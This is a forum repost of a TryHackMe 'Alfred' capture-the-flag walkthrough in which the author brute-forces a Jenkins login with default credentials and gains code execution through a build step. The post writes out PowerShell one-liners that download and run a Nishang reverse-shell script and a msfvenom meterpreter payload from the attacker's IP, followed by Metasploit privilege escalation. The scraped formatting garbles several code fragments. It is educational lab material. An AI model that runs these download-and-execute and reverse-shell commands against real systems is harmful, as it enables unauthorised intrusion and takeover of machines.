![]() |
|
[Tut] TryHackMe Alfred – How I Solved The Challenge [+Video] - Printable Version +- Sick Gaming (https://sickgaming.net) +-- Forum: Programming (https://sickgaming.net/forum-76.html) +--- Forum: Python (https://sickgaming.net/forum-83.html) +--- Thread: [Tut] TryHackMe Alfred – How I Solved The Challenge [+Video] (/thread-100489.html) |
[Tut] TryHackMe Alfred – How I Solved The Challenge [+Video] - xSicKxBot - 12-28-2022 TryHackMe Alfred – How I Solved The Challenge [+Video] 5/5 – (1 vote) In this Capture the Flag (CTF) challenge walkthrough, I’ll hack into a windows service called Jenkins, find a way to carry out Remote Command Execution (RCE) by using Metasploit to gain access to the box and escalate my privileges to the NT AUTHORITY/SYSTEM, which is the equivalent of Code: root Challenge: I need to capture two “flags”, the Code: user.txtCode: root.txtFirst, we’ll note down our IP addresses, export them, and run our nmap scan with the flag -Pn to skip host discovery. INITIAL ENUMERATION ![]() Code: IPs
export myIP=10.6.2.23
export targetIP=10.10.99.176 ┌──(tester㉿box)-[~/THM]
└─$ nmap 10.10.216.90 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-10 22:39 EST
Nmap scan report for 10.10.216.90
Host is up (0.083s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 7.05 secondsWe see that there are three open ports. There is an HTTP service running on port 80. That is presumably a website that we will look at in a moment on our browser. The Code: ms-wbt-serverAlso, the Code: http-proxyHACKING JENKINS WITH BURPSUITE ![]() On port 8080, we find a login page to Jenkins. Let’s take a few guesses with some of the standard factory-set passwords: Code: admin:passwordCode: admin:adminUsing the proxy intercept and sending it to the intruder function, we can set up a list of passwords and usernames to try as a sniper-style attack. Based on the different lengths of the responses, we can see that Code: admin:adminCode: admin:adminAt TryHackMe’s suggestion, we’ll use Nishang for spawning a Code: revshellIn the last text box, we can perform remote command execution. USING REMOTE COMMAND EXECUTION TO SPAWN A REVSHELL PAYLOAD ![]() First, let’s spawn a reverse shell using Code: PowerShellTcp.ps1Code: nc -lnvp 8888Then we use the following command in the last text box on Jenkins project 1 settings. Code: powershell iex (New-Object Net.WebClient).DownloadString('http://10.6.2.23:8000/Invoke-PowerShellTcp.ps1'>After clicking on “ Code: buildCode: user.txtCode: !!!
user.txt:
79007a09481963edf2e1321abd9ae2a0
!!!![]() We can create a custom malicious payload to enable us to connect to a more powerful reverse shell within Metasploit using the following command in our attack box: Code: sudo msfvenom -p windows/meterpreter/reverse_tcp -a x86 – encoder x86/shikata_ga_nai LHOST=10.6.2.23 LPORT=4444 -f exe -o shell.exeNow we need to start up Metasploit console: Code: MsfconsoleLoad the meterpreter exploit/multi/handler: Code: use exploit/multi/handlerSet up our payload: Code: set payload windows/meterpreter/reverse_tcp payloadAnd finally, type: Code: runFirst, we’ll spin up a simple HTTP server to copy Code: shell.exeCode: python -m http.server 8000Then we can copy and run the file on the target machine by again using remote command execution via the Jenkins edit build function: Code: powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.6.2.23:8000/shell.exe','shell.exe')"And Metasploit successfully launches a new meterpreter session on the target box. If the Code: shell.exeCode: ./shell.exe![]() First, we issue the following command in our meterpreter to automatically escalate to the highest privilege possible: Code: getsystemWe now operate with NT AUTHORITY/SYSTEM privileges for most things, but not every single command. To fix this, we can migrate to another process on the target machine. Entering the command “ Code: psCode: system.exeCode: migrate <PID>Code: system.exeNow we are running metasploit in the RAM of our target machine on the Code: system.exeCode: root.txtCode: find -f root.txt cat root.txt
��dff0f748678f280250f25a45b8046b4aThanks for reading/watching my walkthrough.
|